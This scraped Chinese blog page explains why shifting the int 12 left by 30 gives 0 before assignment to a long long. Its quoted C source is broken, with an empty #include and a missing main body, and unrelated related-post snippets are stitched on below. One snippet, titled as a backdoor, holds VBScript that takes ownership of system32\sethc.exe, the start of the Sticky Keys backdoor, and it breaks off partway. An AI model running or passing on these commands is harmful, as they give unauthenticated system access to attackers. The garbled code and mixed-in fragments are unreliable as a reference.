有意思的long long型別移位

2021-06-22 22:02:51 字數 439 閱讀 1034

這個某人的疑問:

這是源程式

#include

void main()

下面是輸出

1111111111111111a = 0

22222222222222222a = 12884901888

請問第乙個輸出為什麼會是0

下面是我的分析:

關鍵是這個long long多少位?%lld\n又是如何動作的?

還有a = 12 << 30;這句中的12又什麼型別?(顯然12不是long long,這個和編譯器有關,我的編譯器不支援long long,所以沒有具體的資料,但是從結果0來看,16位的可能大,所以結果為0,就算是32位,也正好為0)

而後面的是long long型別的12左移30位,當然不為0了

最重要的一點:不能假定a = 12 << 30;這句中的12為long long

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...